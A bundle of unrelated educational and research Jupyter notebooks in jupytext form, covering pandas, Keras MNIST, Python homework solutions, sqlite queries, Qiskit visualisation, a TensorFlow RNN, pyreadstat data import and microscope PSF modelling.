print(idx.is_all_dates)
print(idx.is_monotonic_decreasing)
print(idx.is_monotonic_increasing)
# + [markdown] slideshow={"slide_type": "slide"}
# ## Exercises: [lab 2 - Data structures](lab_02_data_structures.ipynb)
| notebooks/lecture/02-pandas/02_data_structures.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python (tf2)
# language: python
# name: myenv
# ---
import tensorflow as tf
import numpy as np
from tensorflow import keras
from tensorflow.keras import layers
# +
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
x_train = np.expand_dims(x_train, -1)
x_test = np.expand_dims(x_test, -1)
x_train.shape
# -
x_train = x_train.astype("float32") / 255
x_test = x_test.astype("float32") / 255
# +
model = keras.Sequential(
[
keras.Input(shape=(28,28,1)),
layers.Conv2D(32, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Conv2D(64, kernel_size=(3, 3), activation="relu"),
layers.MaxPooling2D(pool_size=(2, 2)),
layers.Flatten(),
layers.Dropout(0.5),
layers.Dense(10, activation="softmax"),
]
)
model.summary()
# +
batch_size = 128
epochs = 15
model.compile(
loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True),
optimizer="adam",
metrics=["accuracy"],
)
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, validation_split=0.1)
# -
score = model.evaluate(x_test, y_test, verbose=0)
print("Test loss:", score[0])
print("Test accuracy:", score[1])
| mnist_with_keras.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# name: python3
# ---
# + [markdown] id="view-in-github" colab_type="text"
# <a href="https://colab.research.google.com/github/jpgill86/python-for-neuroscientists/blob/master/notebooks/homework/Homework-04-Solutions.ipynb" target="_parent"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"/></a>
# + [markdown] id="PTET_rqkUyEU" colab_type="text"
# # Q1: Doubling with a Lambda Function
# + [markdown] id="TQzR7PJ4U2vk" colab_type="text"
# Use `map()` with a `lambda` function to create a new list from the input in which each number is doubled. Note that you could do the same thing with a list comprehension, but this problem is asking you to test your skills with `map()` and `lambda`.
# + id="qcJNUouqVDDx" colab_type="code" colab={}
# double the values of this list using map() and a lambda function
my_list = [2, -45, 91, 54, -234, 65]
# + [markdown] id="NED0VMuyVl4Z" colab_type="text"
# ---
# Solution:
# + id="QVayzXaOVMmi" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 35} outputId="58508739-4493-43e4-c78d-6e3da8045f98"
list(map(lambda x: 2*x, my_list))
# + [markdown] id="ZrEeP9VkVtxE" colab_type="text"
# # Q2: Sorting with a Lambda Function
# + [markdown] id="H9pFSD3jVvtG" colab_type="text"
# The built-in function `sorted()` can be applied to a list to sort it. Here is a simple example:
# + id="hW0oiitlWA5H" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 35} outputId="6afb60e1-ea90-4b70-dfee-8c242e60a145"
sorted([40, -20, 32, -49, -45, 7])
# + [markdown] id="sBRYljw-WFcH" colab_type="text"
# `sorted()` can be applied to more complicated lists and used with custom sorting criteria. To create a custom criterion for sorting, a function can be given as the `key` parameter to `sorted()` (not to be confused with dictionary keys; this is just the name of the function parameter). For example, this code sorts a list of ordered pairs, putting them in ascending order of their maximum values:
# + id="_NolRc7kV2Dm" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 35} outputId="5f06b50b-3f23-424f-c1ee-5c0786ee5fca"
sorted([(11, 8), (9, 7), (5, 17), (2, 18), (1, 10)], key=max)
# + [markdown] id="2AQQDvghX8RZ" colab_type="text"
# In the example above, the `max` function was applied to each item in the list (each ordered pair of numbers), one at a time. This yielded a single number for each pair: 11, 9, 17, 18, 10. These max values were then used as the sorting criteria. That is, the smallest max was 9, belonging to `(9, 7)`, so that pair was ordered first; the largest max was 18, belonging to `(2, 18)`, so that pair was ordered last.
#
# Instead of a built-in function like `max`, a `lambda` function may be used to specify more complicated sorting criteria.
#
# **For this problem, use `sorted()` and a `lambda` function to sort the following species data by the year each species received its scientific name.**
# + id="CQ-kBl-BPK37" colab_type="code" colab={}
# sort this list by year using sorted() and a lambda function
species_dicts = [
{'common': 'California sea hare',
'genus': 'Aplysia',
'species': 'californica',
'year': 1863},
{'common': 'Giant kelp',
'genus': 'Macrocystis',
'species': 'pyrifera',
'year': 1820},
{'common': 'Blueband hermit crab',
'genus': 'Pagurus',
'species': 'samuelis',
'year': 1857}
]
# + [markdown] id="m8Lj360Bb1H2" colab_type="text"
# ---
# Solution:
# + id="iCRuIabERwXT" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 235} outputId="7536135c-c43e-45c9-f0e5-a9ad1baf92a5"
sorted(species_dicts, key = lambda d: d['year'])
# + [markdown] id="74dcyivaclxR" colab_type="text"
# # Q3: Interactive Input and Tuple Unpacking
# + [markdown] id="xGItdXcsjdR5" colab_type="text"
# The built-in `input()` function creates an interactive text prompt. After the user types something and presses Enter/Return, the `input()` function returns the typed string, which can be saved to a variable.
#
# For example, try running the code cell below, entering some text in the text prompt that appears, and then pressing Enter/Return:
# + id="Yr77r3pLkC8Y" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 53} outputId="a0fd81d0-ddd9-4deb-d5a2-d5b2d4f86465"
x = input('Enter some text: ')
print(f'You typed "{x}"')
# + [markdown] id="yKWTSoyWdigD" colab_type="text"
# **For this problem, complete the following:**
# 1. Define a function called `test_integer` that takes no inputs.
# 2. Within the function, use `x = int(input('Enter an integer: '))` to request an integer from the user.
# 3. The function should then return 3 values:
# * the input integer
# * a bool (`True` or `False`) indicating if the integer is positive, and
# * a bool (`True` or `False`) indicating if the integer is even.
# 4. Following the function definition, call your function and unpack the 3 returned values into 3 separate variables called `x`, `positive`, and `even`. Calling and unpacking should be done in a single line of code.
# 5. After this, print messages telling the user whether their input was positive and whether their input was even.
# 6. Test your function of a variety of inputs to make sure it works.
# 7. Add an informative docstring to your function and display it using `help(test_integer)`.
# + [markdown] id="D8N6vowDhH4a" colab_type="text"
# ---
# Solution:
# + id="hzKRKm0EcnYL" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 90} outputId="2f0d69e1-3c38-4d4f-acb7-d44aeef4aac8"
def test_integer():
'''Prompts for an integer and returns 3 values:
(1) the input integer,
(2) whether the integer is positive, and
(3) whether the integer is even.'''
x = int(input('Enter an integer: '))
return x, x>0, x%2==0
x, positive, even = test_integer()
print(f"{x} is {'positive' if positive else 'not positive'}")
print(f"{x} is {'even' if even else 'odd'}")
print()
# + id="PinNfWEAdJIo" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 162} outputId="92d94de1-a9af-4143-dba1-19555eaef2e6"
help(test_integer)
| notebooks/homework/Homework-04-Solutions.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3.8.5 ('pycharm')
# language: python
# name: python3
# ---
# +
from matplotlib.colors import LinearSegmentedColormap
from statistics import median, stdev
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
# %matplotlib inline
# %reload_ext autoreload
# %autoreload 2
# -
datasets = ["abalone", "adult", "cancer", "card", "covtype", "gene", "glass", "heart", "horse", "madelon", "optdigits", "page-blocks", "pendigits", "poker", "satimage", "segmentation", "shuttle", "soybean", "spect", "thyroid", "vehicle", "waveform"]
lambdas = np.concatenate(([0.1], np.linspace(0.5, 10, 20)))
df = pd.read_csv(f"../../log/prelim_l1l2hyper/l1l2hyper.txt")
# +
tobedf = []
for dataset in datasets:
ddf = df[df.dataset == dataset]
g = ddf.groupby("lambda")["ftest"].apply(list).reset_index(name="ftest").ftest.tolist()
medians = [median(row) for row in g]
maxval = max(medians)
maxind = medians.index(maxval)
maxlamb = lambdas[maxind]
tobedf.append([dataset, maxlamb, str(round(maxval, 3))])
resultdf = pd.DataFrame(tobedf, columns=["dataset", "best_lamb", "f1_best_lamb"])
resultdf.to_csv("l1l2hyper.csv")
# -
fig, axs = plt.subplots(3, 3, figsize=(14, 14))
fig.tight_layout()
plt.rcParams.update({"font.size": 13})
boxprops = dict(color="b")
flierprops = dict(markeredgecolor="#D3691D", markersize=5)
medianprops = dict(color="darkred")
whiskerprops = dict(color="b")
axi = 0
for dataset in datasets[0:9]:
ax = axs.flat[axi]
ddf = df[df.dataset == dataset]
g = ddf.groupby("lambda")["ftest"].apply(list).reset_index(name="ftest").ftest.tolist()
bp = ax.boxplot(g, sym=".", boxprops=boxprops, medianprops=medianprops, whiskerprops=whiskerprops, flierprops=flierprops, patch_artist=True)
for box in bp["boxes"]: box.set_facecolor("azure")
ax.set_xticklabels(lambdas, rotation="vertical")
ax.set_title(f"{dataset} dataset", fontsize=14)
ax.grid(True, color="#DDDDDD")
sps = ax.get_subplotspec()
if sps.is_first_col(): ax.set_ylabel("$F_1$-score")
if sps.is_last_row(): ax.set_xlabel("$\lambda$")
axi += 1
fig.suptitle("$F_1$-scores per $\lambda$ value in L1L2 for each dataset (part 1 of 3)", fontsize=24)
fig.subplots_adjust(top=0.93, hspace=0.2)
fig, axs = plt.subplots(3, 3, figsize=(14, 14))
fig.tight_layout()
plt.rcParams.update({"font.size": 13})
axi = 0
for dataset in datasets[9:18]:
ax = axs.flat[axi]
ddf = df[df.dataset == dataset]
g = ddf.groupby("lambda")["ftest"].apply(list).reset_index(name="ftest").ftest.tolist()
bp = ax.boxplot(g, sym=".", boxprops=boxprops, medianprops=medianprops, whiskerprops=whiskerprops, flierprops=flierprops, patch_artist=True)
for box in bp["boxes"]: box.set_facecolor("azure")
ax.set_xticklabels(lambdas, rotation="vertical")
ax.set_title(f"{dataset} dataset", fontsize=14)
ax.grid(True, color="#DDDDDD")
sps = ax.get_subplotspec()
if sps.is_first_col(): ax.set_ylabel("$F_1$-score")
if sps.is_last_row(): ax.set_xlabel("$\lambda$")
axi += 1
fig.suptitle("$F_1$-scores per $\lambda$ value in L1L2 for each dataset (part 2 of 3)", fontsize=24)
fig.subplots_adjust(top=0.93, hspace=0.2)
fig, axs = plt.subplots(2, 2, figsize=(10, 10))
fig.tight_layout()
plt.rcParams.update({"font.size": 13})
axi = 0
for dataset in datasets[18:22]:
ax = axs.flat[axi]
ddf = df[df.dataset == dataset]
g = ddf.groupby("lambda")["ftest"].apply(list).reset_index(name="ftest").ftest.tolist()
bp = ax.boxplot(g, sym=".", boxprops=boxprops, medianprops=medianprops, whiskerprops=whiskerprops, flierprops=flierprops, patch_artist=True)
for box in bp["boxes"]: box.set_facecolor("azure")
ax.set_xticklabels(lambdas, rotation="vertical")
ax.set_title(f"{dataset} dataset", fontsize=14)
ax.grid(True, color="#DDDDDD")
sps = ax.get_subplotspec()
if sps.is_first_col(): ax.set_ylabel("$F_1$-score")
if sps.is_last_row(): ax.set_xlabel("$\lambda$")
axi += 1
fig.suptitle("$F_1$-scores per $\lambda$ value in L1L2 for each dataset (part 3 of 3)", fontsize=24)
fig.subplots_adjust(top=0.91, hspace=0.2)
| dataproc/prelim/l1l2hyper.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Introduction
#
# The key procedure in external memory inverted index construction is the external memory multiway merge algorithm.
#
# +
from heapq import heappush, heappop, merge
# documentation: https://docs.python.org/3.4/library/heapq.html
from math import ceil
## the heap is essentially a min-heap
DEBUG = True
def p(msg):
if DEBUG:
print('.. {}'.format(msg))
## making use of the heapq.merge() function to simulate the in-memory heap based merging
## (see source at https://fossies.org/dox/Python-3.5.2/heapq_8py_source.html)
def merge_runs(list_of_runs):
return list(merge(*list_of_runs))
# +
import random
random.seed(1999)
n1 = n2 = 5
n3 = 2
run1 = sorted([random.randint(1, 100) for _ in range(n1)])
run2 = sorted([random.randint(1, 100) for _ in range(n2)])
run3 = sorted([random.randint(1, 100) for _ in range(n3)])
print(run1, run2, run3)
runs = [run1, run2, run3]
new_run = merge_runs(runs)
print(new_run)
# -
# ## Exercise
#
# Implement the merge-way merge function `multiway_merge(data, k, pagesize)`, where `data` is an unordered list of integers, `k` is the maximum number of runs to merge simultaneously, and `pagesize` is the maximum number of integers in the initial runs.
#
def multiway_merge(data, k, pagesize):
p('{}-way merge, initial page size = {}'.format(k, pagesize))
###
### INSERT YOUR OWN CODE
###
# If you have implemented it correctly, if you run the code below, you should see the following output.
# +
import random
random.seed(1999)
n = 23
data = [random.randint(1, 100) for _ in range(n)]
sorted_data = multiway_merge(data, 3, 2)
print(sorted_data)
print()
sorted_data = multiway_merge(data, 2, 2)
print(sorted_data)
# -
| L4 - Multiway Merge.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# name: python3
# ---
# + id="2wtFfNE0rYN2"
import sqlite3
conn = sqlite3.connect('mydb')
#Create a cursor
cur = conn.cursor()
#Create a table
cur.execute(""" CREATE TABLE BDU (
Callid integer,
CC text,
Duracion REAL,
Motivo text,
Fecha blob
)
""")
##Commit our command
conn.commit()
#Close our Connection
conn.close()
cur.execute(""" CREATE TABLE Encuestas (
S integer,
Callid integer,
CC text,
Fecha blob,
NPS integer,
Satu integer,
Solucion integer
)
""")
##Commit our command
conn.commit()
#Close our Connection
conn.close()
# + colab={"base_uri": "https://localhost:8080/"} id="Y6iplNMlrh3x" executionInfo={"status": "ok", "timestamp": 1621123961408, "user_tz": 300, "elapsed": 391, "user": {"displayName": "<NAME>", "photoUrl": "", "userId": "10566845399325428519"}} outputId="130cf6d8-1f71-45ab-c1ea-df0e4884309a"
#### BDU TABLE DATA DEFINITION
BDU_data = [(1,667045,80.1687678307369,"Motivo 1","2021-01-26"),
(2,1047252,15.0818250553401,"Motivo 6","2021-02-14"),
(3,1447707,21.0223313801845,"Motivo 5","2021-02-16"),
(4,1063849,5.96981487337549,"Motivo 1","2021-03-16"),
(5,602560,4.57964067345543,"Motivo 10","2021-02-07"),
(6,179189,97.2372250139739,"Motivo 7","2021-03-16"),
(7,260250,45.006232583378,"Motivo 3","2021-03-07"),
(8,317913,24.9202013654295,"Motivo 9","2021-03-28"),
(9,162902,12.4202135308601,"Motivo 3","2021-03-22"),
(10,1301957,64.6590549414908,"Motivo 3","2021-01-03"),
(11,1343547,53.2969008848885,"Motivo 8","2021-01-29"),
(12,150089,14.7663090161538,"Motivo 4","2021-01-15"),
(13,665807,38.7945306326397,"Motivo 10","2021-02-05"),
(14,617421,25.3158006043877,"Motivo 2","2021-04-05"),
(15,628623,68.227389577953,"Motivo 10","2021-03-03"),
(16,320464,42.5750403198457,"Motivo 2","2021-02-19"),
(17,1047556,33.0461752899077,"Motivo 4","2021-04-11"),
(18,430611,83.2193743492679,"Motivo 2","2021-04-03"),
(19,175952,37.2940649932286,"Motivo 1","2021-01-04"),
(20,363078,116.016717968589,"Motivo 10","2021-01-14")]
#### BDU TABLE DATA LOAD
cur.executemany("INSERT INTO BDU VALUES (?,?,?,?,?)",BDU_data)
# + colab={"base_uri": "https://localhost:8080/"} id="2BY0tJgmhDpB" executionInfo={"status": "ok", "timestamp": 1621123965354, "user_tz": 300, "elapsed": 454, "user": {"displayName": "<NAME>", "photoUrl": "", "userId": "10566845399325428519"}} outputId="d1a29b87-b4df-49b2-d9e5-16eccfc4c37e"
#### ENCUESTAS TABLE DATA DEFINITION
Encuestas_data = [("",1,667045,"2021-01-26",1,1,1),
("2",2,1047252,"2021-02-14",4,5,1),
("3",3,1447707,"2021-02-16",6,3,1),
("4",4,1063849,"2021-03-16",6,3,0),
("5",5,602560,"2021-02-07",4,5,1),
("6",6,179189,"2021-03-16",9,5,1),
("7",7,260250,"2021-03-07",4,2,1),
("8",8,317913,"2021-03-28",8,1,1),
("9",9,162902,"2021-03-22",5,1,1),
("10",10,1301957,"2021-01-03",3,4,1),
("11",11,1343547,"2021-01-29",1,4,1),
("12",12,150089,"2021-01-15",2,4,1),
("13",13,665807,"2021-02-05",8,3,1),
("14",14,617421,"2021-04-05",6,1,1),
("15",15,628623,"2021-03-03",8,2,1),
("16",16,320464,"2021-02-19",6,2,1),
("17",17,1047556,"2021-04-11",2,1,1),
("18",18,430611,"2021-04-03",1,4,1),
("19",19,175952,"2021-01-04",8,3,0),
("20",20,363078,"2021-01-14",4,3,1)]
#### ENCUESTAS TABLE DATA LOAD
cur.executemany("INSERT INTO Encuestas VALUES (?,?,?,?,?,?,?)",Encuestas_data)
# + id="EtG5DdwiNbCX"
##VERIFYING BDU DATA LOAD WITH PRINT STATEMENT
cur.execute("SELECT * FROM BDU")
items = cur.fetchall()
for item in items:
print(item)
##VERIFYING ENCUESTAS DATA LOAD WITH PRINT STATEMENT
cur.execute("SELECT * FROM Encuestas")
items = cur.fetchall()
for item in items:
print(item)
# + colab={"base_uri": "https://localhost:8080/"} id="wjcClYtVQaau" executionInfo={"status": "ok", "timestamp": 1621125223199, "user_tz": 300, "elapsed": 464, "user": {"displayName": "<NAME>", "photoUrl": "", "userId": "10566845399325428519"}} outputId="2d9aa13e-ff69-4654-aea1-1900d06c27d0"
###BDU LONGEST CALL DURATION RECORD
cur.execute("SELECT * FROM BDU ORDER BY Duracion DESC")
col_name_list = [tuple[0] for tuple in cur.description]
print("Longest call duration record","\n")
print(col_name_list)
print(cur.fetchone(),"\n","\n")
###BDU SHORTEST CALL DURATION RECORD
cur.execute("SELECT * FROM BDU ORDER BY Duracion ASC")
col_name_list = [tuple[0] for tuple in cur.description]
print("Shortest call duration record","\n")
print(col_name_list)
print(cur.fetchone(),"\n","\n")
###AVERAGE DURATION BY CALL REASON
cur.execute("SELECT Motivo,AVG(duracion)*60 FROM BDU GROUP BY Motivo ORDER BY AVG(Duracion)")
print("Average duration by call reason","\n")
print("Motivo","\t\t","Duracion")
items = cur.fetchall()
for item in items:
print(item[0],",",item[1])
# + colab={"base_uri": "https://localhost:8080/"} id="G5rxS8zJV3H0" executionInfo={"status": "ok", "timestamp": 1621125124785, "user_tz": 300, "elapsed": 435, "user": {"displayName": "<NAME>", "photoUrl": "", "userId": "10566845399325428519"}} outputId="bfd823eb-ddf1-4c8e-d3b1-1ad1cef6770c"
###AVERAGE NPS IN POLL
cur.execute("SELECT avg(NPS) FROM Encuestas")
print("Average NPS:",cur.fetchall()[0][0],"\n\n")
###AVG NPS BY CALL REASON - BDU and ENCUESTAS TABLE JOIN
cur.execute("""SELECT Motivo,AVG(NPS)
FROM BDU INNER JOIN Encuestas On Encuestas.Callid=BDU.callid
GROUP BY Motivo ORDER BY AVG(NPS) DESC""")
print("Average NPS by call reason: \n\n")
print("Motivo","\t","NPS","\n")
items = cur.fetchall()
for item in items:
print(item[0],",",item[1])
| SQL_STATEMENTS_INFORMATION ARCHITECTURE_WORKSHOP.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Qiskit v0.30.1 (ipykernel)
# language: python
# name: python3
# ---
# ### Bloch Sphere vs. Q Sphere
#
# Exploring the advantages and disadvantages of both Bloch Spheres and the Q-Spheres when
# it comes to visualizing qubits
#
# ---
# Done as part of the NPTEL Course - Introduction to Quantum Computing: Quantum Algorithms and Qiskit
# https://onlinecourses.nptel.ac.in/noc21_cs103/preview
# +
import numpy as np
from qiskit import QuantumCircuit, transpile, Aer, IBMQ, execute
from qiskit.visualization import plot_state_qsphere, plot_bloch_multivector
from ibm_quantum_widgets import *
from qiskit.tools.jupyter import *
provider = IBMQ.load_account()
print("Process Complete!")
# +
qc = QuantumCircuit(1)
statevector_simulator = Aer.get_backend('statevector_simulator')
result = execute(qc, statevector_simulator).result()
statevector_results = result.get_statevector(qc)
plot_bloch_multivector(statevector_results)
# -
plot_state_qsphere(statevector_results)
# +
# Using the Pauli X Gate (NOT Gate) on the 0th qubit
qc.x(0)
result = execute(qc, statevector_simulator).result()
statevector_results = result.get_statevector(qc)
plot_bloch_multivector(statevector_results)
# -
plot_state_qsphere(statevector_results)
# +
# Setting up the 0th Qubit in Superposition
qc.h(0)
result = execute(qc, statevector_simulator).result()
statevector_results = result.get_statevector(qc)
plot_bloch_multivector(statevector_results) # Plots the |-> state
# +
plot_state_qsphere(statevector_results) # Plots the |-> state
# Here we see a difference
# Radius of the circle is a measure of that state's amplitude
# In the Q Sphere, we can see the constituents of the superposition, which is helpful (linear combination of basis states)
# Basis states - Longitudinal, Phase Shifts - Latitudinal
# |0> is in phase, but |1> is out of phase by pi radians
# -
| Quantum_Computing/Fundamentals/2_Bloch_and_Q_Spheres.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Problem 49 from chapter 02
# ***
# ### A bin of 50 parts contains 5 that are defective. A sample of 10 is selected, without replacement.
from math import factorial
def combination(p, r):
comb = factorial(p) / factorial(p - r) / factorial(r)
return comb
P_four = (combination(5, 4) * combination(45, 6) + combination(5, 5) * combination(45, 5))/ combination(50, 10)
print(f'The probability that the sample contains at least four defective parts is {P_four}')
| Cap02/P-2_49.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # List Comprehension
#
# Gera listas de valores de forma bastante clara e concisa.
# Retornar cada caracter em uma sequência de caracteres
lst = [x for x in 'python']
lst
type(lst)
lst = [x**2 for x in range(0,11)]
lst
lst = [x for x in range(11) if x %2 == 0]
lst
# +
celsius = [0,10,20.1,34.5]
fahrenheit = [((float(9)/5)*temp + 32) for temp in celsius]
fahrenheit
# -
lst = [ x**2 for x in [x**2 for x in range(11)]]
lst
| 04-TratamentoDeArquivos_Modulos_Pacotes_FuncBuilt-in/08-ListComprehension.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Lab 12 RNN(Recurrent Neural Network)
# ## Lab12-4-rnn_long_char.ipynb
# +
from __future__ import print_function
import tensorflow as tf
import numpy as np
from tensorflow.contrib import rnn
tf.set_random_seed(777) # reproducibility
sentence = ("if you want to build a ship, don't drum up people together to "
"collect wood and don't assign them tasks and work, but rather "
"teach them to long for the endless immensity of the sea.")
char_set = list(set(sentence))
char_dic = {w: i for i, w in enumerate(char_set)}
data_dim = len(char_set)
hidden_size = len(char_set)
num_classes = len(char_set)
sequence_length = 10 # Any arbitrary number
learning_rate = 0.1
dataX = []
dataY = []
for i in range(0, len(sentence) - sequence_length):
x_str = sentence[i:i + sequence_length]
y_str = sentence[i + 1: i + sequence_length + 1]
print(i, x_str, '->', y_str)
x = [char_dic[c] for c in x_str] # x str to index
y = [char_dic[c] for c in y_str] # y str to index
dataX.append(x)
dataY.append(y)
batch_size = len(dataX)
X = tf.placeholder(tf.int32, [None, sequence_length])
Y = tf.placeholder(tf.int32, [None, sequence_length])
# One-hot encoding
X_one_hot = tf.one_hot(X, num_classes)
print(X_one_hot) # check out the shape
# Make a lstm cell with hidden_size (each unit output vector size)
def lstm_cell():
cell = rnn.BasicLSTMCell(hidden_size, state_is_tuple=True)
return cell
multi_cells = rnn.MultiRNNCell([lstm_cell() for _ in range(2)], state_is_tuple=True)
# outputs: unfolding size x hidden size, state = hidden size
outputs, _states = tf.nn.dynamic_rnn(multi_cells, X_one_hot, dtype=tf.float32)
# FC layer
X_for_fc = tf.reshape(outputs, [-1, hidden_size])
outputs = tf.contrib.layers.fully_connected(X_for_fc, num_classes, activation_fn=None)
# reshape out for sequence_loss
outputs = tf.reshape(outputs, [batch_size, sequence_length, num_classes])
# All weights are 1 (equal weights)
weights = tf.ones([batch_size, sequence_length])
sequence_loss = tf.contrib.seq2seq.sequence_loss(
logits=outputs, targets=Y, weights=weights)
mean_loss = tf.reduce_mean(sequence_loss)
train_op = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(mean_loss)
sess = tf.Session()
sess.run(tf.global_variables_initializer())
for i in range(500):
_, l, results = sess.run(
[train_op, mean_loss, outputs], feed_dict={X: dataX, Y: dataY})
for j, result in enumerate(results):
index = np.argmax(result, axis=1)
print(i, j, ''.join([char_set[t] for t in index]), l)
# Let's print the last char of each result to check it works
results = sess.run(outputs, feed_dict={X: dataX})
for j, result in enumerate(results):
index = np.argmax(result, axis=1)
if j is 0: # print all for the first result to make a sentence
print(''.join([char_set[t] for t in index]), end='')
else:
print(char_set[index[-1]], end='')
'''
0 167 tttttttttt 3.23111
0 168 tttttttttt 3.23111
0 169 tttttttttt 3.23111
…
499 167 of the se 0.229616
499 168 tf the sea 0.229616
499 169 the sea. 0.229616
g you want to build a ship, don't drum up people together to collect wood and don't assign them tasks and work, but rather teach them to long for the endless immensity of the sea.
'''
| Python/tensorflow/DeepLearningZeroToAll/Lab12-4-rnn_long_char.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# import pandas, numpy, and pyreadstat
import pandas as pd
import numpy as np
import pyreadstat
pd.set_option('display.max_columns', 5)
pd.options.display.float_format = '{:,.2f}'.format
pd.set_option('display.width', 75)
# retrieve spss data, along with the meta data
nls97spss, metaspss = pyreadstat.read_sav('data/nls97.sav')
nls97spss.dtypes
nls97spss.head()
nls97spss['R0536300'].value_counts(normalize=True)
# use column labels and value labels
metaspss.variable_value_labels['R0536300']
nls97spss['R0536300'].\
map(metaspss.variable_value_labels['R0536300']).\
value_counts(normalize=True)
nls97spss = pyreadstat.set_value_labels(nls97spss, metaspss, formats_as_category=True)
nls97spss.columns = metaspss.column_labels
nls97spss['KEY!SEX (SYMBOL) 1997'].value_counts(normalize=True)
nls97spss.dtypes
nls97spss.columns = nls97spss.columns.\
str.lower().\
str.replace(' ','_').\
str.replace('[^a-z0-9_]', '')
nls97spss.set_index('pubid__yth_id_code_1997', inplace=True)
# apply the formats from the beginning
nls97spss, metaspss = pyreadstat.read_sav('data/nls97.sav', apply_value_formats=True, formats_as_category=True)
nls97spss.columns = metaspss.column_labels
nls97spss.columns = nls97spss.columns.\
str.lower().\
str.replace(' ','_').\
str.replace('[^a-z0-9_]', '')
nls97spss.dtypes
nls97spss.head()
nls97spss.govt_responsibility__provide_jobs_2006.\
value_counts(sort=False)
nls97spss.set_index('pubid__yth_id_code_1997', inplace=True)
# do the same for stata data
nls97stata, metastata = pyreadstat.read_dta('data/nls97.dta', apply_value_formats=True, formats_as_category=True)
nls97stata.columns = metastata.column_labels
nls97stata.columns = nls97stata.columns.\
str.lower().\
str.replace(' ','_').\
str.replace('[^a-z0-9_]', '')
nls97stata.dtypes
nls97stata.head()
nls97stata.govt_responsibility__provide_jobs_2006.\
value_counts(sort=False)
nls97stata.min()
nls97stata.replace(list(range(-9,0)), np.nan, inplace=True)
nls97stata.min()
nls97stata.set_index('pubid__yth_id_code_1997', inplace=True)
# pull sas data, using the sas catalog file for value labels
nls97sas, metasas = pyreadstat.read_sas7bdat('data/nls97.sas7bdat', catalog_file='data/nlsformats3.sas7bcat', formats_as_category=True)
nls97sas.columns = metasas.column_labels
nls97sas.columns = nls97sas.columns.\
str.lower().\
str.replace(' ','_').\
str.replace('[^a-z0-9_]', '')
nls97sas.head()
nls97sas.keysex_symbol_1997.value_counts()
nls97sas.set_index('pubid__yth_id_code_1997', inplace=True)
nls97sas.head()
| Chapter01/4. Importing_spss.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + jupyter={"source_hidden": true}
# %pylab inline
import scipy.ndimage as ndi
# %load_ext autoreload
# %autoreload 2
from pyotf.otf import SheppardPSF, HanserPSF
import dphtools.display as dplt
from dphtools.utils import bin_ndarray
# + jupyter={"source_hidden": true}
plt.set_cmap("inferno");
# -
# ## Is the PSF generated by `pyotf` what the camera sees?
#
# #### Short answer
#
# Not quite.
#
# #### Long answer
#
# What `pyotf` is modeling is the _wavefront_ at the camera due to a point source at the focus of the objective in a widefield [epifluorescence](https://en.wikipedia.org/wiki/Fluorescence_microscope#Epifluorescence_microscopy) (AKA, widefield or epi) microscope. But what the camera _records_ is more complex. First, each pixel acts a a square aperture (similar to the circular aperture in confocal microscopy) and then the intensity across the pixel is integrated and eventually converted into a single number. To model this we'll take the following approach:
# 1. Use `pyotf` to model the _intensity_ point spread function (PSF) at the camera at a pixel size of $1/8^{\text{th}}$ Nyquist, i.e. $\lambda/4 \text{NA}/8$
# 2. Convolve this image with a square equal to the size of the camera pixel
# 3. Integrate over the camera pixels
# +
# We'll use a 1.27 NA water dipping objective imaging in water
psf_params = dict(
na=1.27,
ni=1.33,
wl=0.585,
size=64,
vec_corr="none",
zrange=[0]
)
# Set the Nyquist sampling rate
nyquist_sampling = psf_params["wl"] / psf_params["na"] / 4
# our oversampling factor
oversample_factor = 8
# we need to be just slightly less than nyquist for this to work
psf_params["res"] = nyquist_sampling * 0.99 / oversample_factor
psf_params["size"] *= oversample_factor
# -
# calculate infocus part only
psf = HanserPSF(**psf_params)
# +
# for each camera pixel size we want to show 10 camera pixels worth of the intensity
